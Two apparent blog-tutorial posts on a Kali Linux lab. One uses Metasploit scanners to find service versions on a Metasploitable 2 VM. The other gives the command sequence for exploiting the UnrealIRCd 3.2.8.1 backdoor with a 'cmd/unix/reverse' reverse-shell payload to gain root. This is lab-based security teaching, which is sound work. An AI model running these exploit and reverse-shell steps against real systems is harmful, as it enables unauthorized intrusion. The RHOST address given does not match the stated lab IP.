Kali Linux 2 : Putting SCANNERS at work

1.    In this post we get introduced to built in scanners that come preloaded with Metasploit in Kali Linux that let us search and recover service information from a single computer or an entire network.We assume the same setup of virtual machines as in my past post at http://anupriti.blogspot.in/2015/10/irc-exploit-tutorial-to-hack-into-root.html

SETTING UP THE VIRTUAL MACHINES

Exactly the same setup as I followed at the post at http://anupriti.blogspot.in/2015/10/irc-exploit-tutorial-to-hack-into-root.html

Virtual Machine One,VM1  : Kali Linux 2 @ 192.168.56.102

Virtual Machine Two,VM2 : Metasploitable 2 @ 192.168.56.103

Machines pinging each other...please check before proceeding ahead

Using SCANNERS to gain info

To find scanners available in Kali Linux,just run “msfconsole” from Kali command prompt and then type “search scanner” at the prompt as below :

msf > search scanner

U get something like this as seen below which is actually trimmed shot as the complete out is pretty exhaustive.

CLICK TO ENLARGE

nmap the metasploitable machine...as we did earlier and we get this screen as below :

CLICK TO ENLARGE

Let’s focus on Port 22 ie Secure Shell (ssh) and thus search Metasploit for ssh scanners as follows :

SSH

At msf terminals type : search scanner/ssh

Click to ENLARGE

We see from above about six of them and in these there is one looking for version information ie the “auxiliary/scanner/ssh/ssh_version” module.Will use this to find the version info as follows :

- Type, “use auxiliary/scanner/ssh/ssh_version” at the terminal of msf

- Then type “show options”

- set RHOSTS  

- Type “exploit” to run.

From above we see that the victim is running an SSH server and the software version is 

SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu

Mysql

But the above comes with a exclamation too...if we run mysql version query,then too we get some result that's different as seen below :

Click to ENLARGE

The scan reveals that MySQL 5.0.51.a-3ubuntu5 is running as seen in the shot above.

telnet

Click to ENLARGE

Highlighted text “Login with msfadmin/msfadmin to get started”, actually gives login credentials on the Telnet page....these kinds of security holes actually exists in the real world..real web at so many web sites....

smb

The above gives the SAAMBA version

IRC Exploit tutorial to hack into ROOT shell : Metasploitable 2 - Kali LInux 2

1.  root is the user name that by default has access to all commands and files on a Linux or other Unix-like operating system. It is also referred to as the root account, root user and the superuser.For the hackers and cyber criminals,getting to root shell is the key to start doing the undesired.There are thousands of ways and options to get to this vide various exploits,tricks and hacks.In this post I give a step by step with screenshot guide to get to "root" of a Metasploitable machine from a Kali Linux machine.The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities.This would come handy for beginners in this domain.I have two virtual machines for this test including one Metasploitable and one Kali Linux.

Setting up the Virtual Machines

Firstly,we need to configure the host only adapter settings as shown below in the Virtual box.

Click on Network - Host only networks tab and then "Add host only adapter" as shown below :

Edit the settings of the Host only adapter

Configure the IP address to any range as you desire.I have set up as seen below :

Now I have configured my VM Kali as per the following settings shown :

The Metasploitable machine configured as seen below :

Checking PING between the two machines : 

Playing with the setup : Running tools and exploits

The first thing to do is to run an nmap scan and see what services are running.At the terminal window on your Kali system,type the following :

nmap -sS -Pn

In our the Metasploitable Machine IP is 192.168.56.103.The “-sS” switch in the above command asks nmap to perform a stealth scan. The “-Pn” tells nmap not to run a ping scan to see what systems are up

Running nmap command with the “-A” switch, will perform OS detection and try to determine service versions.Running the command wil give us a screen output something like as shown below : 

nmap -sS -Pn -A 192.168.56.103

There are also a lot of services running as seen above but the one in particular we are interested is an Unreal Internet Relay Chat (IRC) program as highlighted below.In the screenshot below we see the software version, in this case “Unreal IRC 3.2.8.1′′. Our next step is to use Metasploit to exploit the vulnerability.

Get to the Kali terminal and type msfconsole to get this screen as seen below : 

The basic sequence of exploiting a vulnerability goes as shown below :

- Picking an Exploit

- Setting Exploit Options

- Picking a Payload

- Setting Payload Options

- Running the Exploit

- Connecting to the Remote System

Going further now at the msf terminal type : use exploit/unix/irc/unreal_ircd_3281_backdoor

Next we need to set the RHOST as per the following terminal command:

RHOST 192.168.198.145(Metasploitable IP address )

At the msf terminal,type “show payloads” to display all payloads that work with the exploit:

Now we will use the generic reverse shell. This will give us the terminal shell with the target when the exploit is finished.Type the following at the msf terminal:

set payload cmd/unix/reverse

Show options command further will give the current settings as configured :

So we see above LHOST remains to be configured and we configure it now as follows :

Running the show options command again shows the configured setup as desired : 

and now the final bullet...simply type : exploit at the msf terminal

and here you are...right at the terminal@root

Just make a directory for testing it at the victim Metasploitable machine.I have made by the name of anupam and we see the same at the second terminal window seen in the screenshot below :

...that's it guys...any questions...most welcome...
